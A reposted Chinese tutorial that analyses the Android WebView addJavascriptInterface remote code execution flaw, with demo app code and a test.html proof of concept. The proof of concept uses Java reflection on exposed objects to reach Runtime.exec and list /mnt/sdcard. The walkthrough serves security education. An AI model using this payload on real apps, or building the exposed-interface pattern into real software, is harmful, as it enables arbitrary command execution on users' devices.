• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • JavaScript
  • ASP.NET
  • PHP
  • 正则表达式
  • AJAX
  • JSP
  • ASP
  • Flex
  • XML
  • 编程技巧
  • Android
  • swift
  • C#教程
  • vb
  • vb.net
  • C语言
  • Java
  • Delphi
  • 易语言
  • vc/mfc
  • 嵌入式开发
  • 游戏开发
  • ios
  • 编程问答
  • 汇编语言
  • 微信小程序
  • 数据结构
  • OpenGL
  • 架构设计
  • qt
  • 微信公众号
您的位置:首页 > 程序设计 >Android > Android WebView远程代码执行漏洞简析

Android WebView远程代码执行漏洞简析

作者:网友 字体:[增加 减小] 来源:互联网 时间:2017-05-26

网友通过本文主要向大家介绍了android webview,android webview缓存,android webview属性,android webview刷新,android webview缩放等相关知识,希望对您有所帮助,也希望大家支持linkedu.com www.linkedu.com

Android WebView远程代码执行漏洞简析


0x00

本文参考Android WebView 远程代码执行漏洞简析。代码地址为,https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo。下面我们分析代码。

 

0x01

首先列出项目工程目录:

\

MainActivity.java的代码如下:

 

public class MainActivity extends Activity {
	private WebView webView;
	private Uri mUri;
	private String url;
	//String mUrl1 = "file:///android_asset/html/attack_file.html";
	String mUrl2 = "file:///android_asset/html/test.html";

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
		webView = (WebView) findViewById(R.id.webview);
		webView.getSettings().setJavaScriptEnabled(true);
		webView.addJavascriptInterface(new JSInterface(), "jsInterface");
		//webView.getSettings().setAllowFileAccessFromFileURLs(true);
		webView.setWebChromeClient(new WebChromeClient() {
			@Override
			    public boolean onJsAlert(WebView view, String url, String message,JsResult result) {
			    //Required functionality here
			    return super.onJsAlert(view, url, message, result);
			}
		});
		webView.loadUrl(mUrl2);
	}
	
	
    class JSInterface {
        public String onButtonClick(String text) {
            final String str = text;
            runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    Log.e("leehong2", "onButtonClick: text = " + str);
                    Toast.makeText(getApplicationContext(), "onButtonClick: text = " + str, Toast.LENGTH_LONG).show();
                }
            });
            
            return "This text is returned from Java layer.  js text = " + text;
        }
        
        public void onImageClick(String url, int width, int height) {
            final String str = "onImageClick: text = " + url + "  width = " + width + "  height = " + height;
            Log.i("leehong2", str);
            runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    Toast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show();
                }
            });
        }
    }

}
其中下面的代码设置了,webView加载的html里面可以通过javaScript与java代码交互。

 

 

webView.getSettings().setJavaScriptEnabled(true);
		webView.addJavascriptInterface(new JSInterface(), "jsInterface");

 

 

我们接着看加载的html文件,它位于aessets目录下。
webView.loadUrl(mUrl2);

 

test.html如下:

 


<script>
      var i=0;
      function getContents(inputStream)
      {
        var contents = ""+i;
        var b = inputStream.read();
        var i = 1;
        while(b != -1) {
            var bString = String.fromCharCode(b);
            contents += bString;
            contents += "\n"
            b = inputStream.read();
        }
        i=i+1;
        return contents;
       }
      
       function execute(cmdArgs)
       {
        for (var obj in window) {
            console.log(window[obj]);
            if ("getClass" in window[obj]) {
                alert(obj);
                return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
             }
         }
       } 
      
      var p = execute(["ls","/mnt/sdcard/"]);
      document.write(getContents(p.getInputStream()));
    </script><script language="javascript">
      function onButtonClick() 
      {
        // Call the method of injected object from Android source.
        var text = jsInterface.onButtonClick("从JS中传递过来的文本!!!");
        alert(text);
      }

      function onImageClick() 
      {
        //Call the method of injected object from Android source.
        var src = document.getElementById("image").src;
        var width = document.getElementById("image").width;
        var height = document.getElementById("image").height;

        // Call the method of injected object from Android source.
        jsInterface.onImageClick(src, width, height);
      }
    </script>

点击图片把URL传到Java代码

 

关于html和javaScript的介绍,请参考http://www.w3school.com.cn/html/html_getstarted.asp。

 

这里面造成漏洞的主要原因在如下代码:

 

function execute(cmdArgs)
       {
        for (var obj in window) {
            console.log(window[obj]);
            if ("getClass" in window[obj]) {
                alert(obj);
                return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
             }
         }
       } 
      
      var p = execute(["ls","/mnt/sdcard/"]);
攻击者可以找到存在“getClass”方法的对象,然后通过反射的机制,得到Java Runtime对象,然后调用静态方法来执行系统命令。从而造成危害。

 

这个程序的详细功能请自己下载代码运行后便知。

 </div>

分享到:QQ空间新浪微博腾讯微博微信百度贴吧QQ好友复制网址打印

您可能想查找下面的文章:

  • Webview内存泄漏解决办法1,webview泄漏
  • Android:让WebView支持&lt;input type=”file”…&gt;元素,androidwebview
  • WebView的使用,WebView使用
  • Android实用技巧-缓存的使用分析
  • Android 离线缓存的快速实现
  • android:webview实现简单的浏览器
  • Android WebView File域同源策略绕过漏洞浅析
  • Android WebView远程代码执行漏洞简析
  • android WebView控件显示网页,androidwebview
  • WebView,androidwebview

相关文章

  • 2017-05-26Android项目:手机安全卫士(16)—— 复杂 ListView浅析
  • 2017-05-26Android EditText只有下面有一条横线问题
  • 2017-05-26关于Linux的core dump
  • 2017-05-26Android疑难杂症之Theme,android疑难杂症
  • 2017-05-26使用Chrome远程调试GenyMotion上的WebView程序,genymotionwebview
  • 2017-05-26android 5.0后对于apk 跑32 64 的逻辑
  • 2017-05-26android ImageSwitcher,imageswitcher
  • 2017-05-26应用的全屏和非全屏,应用全屏全屏
  • 2017-05-26Android网络编程的Socket通信总结
  • 2017-05-26Kerberos简介

文章分类

  • JavaScript
  • ASP.NET
  • PHP
  • 正则表达式
  • AJAX
  • JSP
  • ASP
  • Flex
  • XML
  • 编程技巧
  • Android
  • swift
  • C#教程
  • vb
  • vb.net
  • C语言
  • Java
  • Delphi
  • 易语言
  • vc/mfc
  • 嵌入式开发
  • 游戏开发
  • ios
  • 编程问答
  • 汇编语言
  • 微信小程序
  • 数据结构
  • OpenGL
  • 架构设计
  • qt
  • 微信公众号

最近更新的内容

    • 有了malloc/free,为什么还要new/delete?
    • 手机影音7--视频播放器的基本功能(4),7--基本功能
    • Android项目从Eclipse增加支持Android Studio
    • android使用AIDL实现跨进程通讯(IPC)
    • andriod Java中度转度分秒,andriodjava分秒
    • Android群英传笔记系列二view的绘制(一),android群英
    • Android开源库集合(工具),android开源库集合
    • 硅谷商城第二版6--购物车模块,6--购物车
    • LruCache原理解析,lrucache解析
    • listview下拉刷新和上拉加载更多的多种实现方案,listview下拉

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有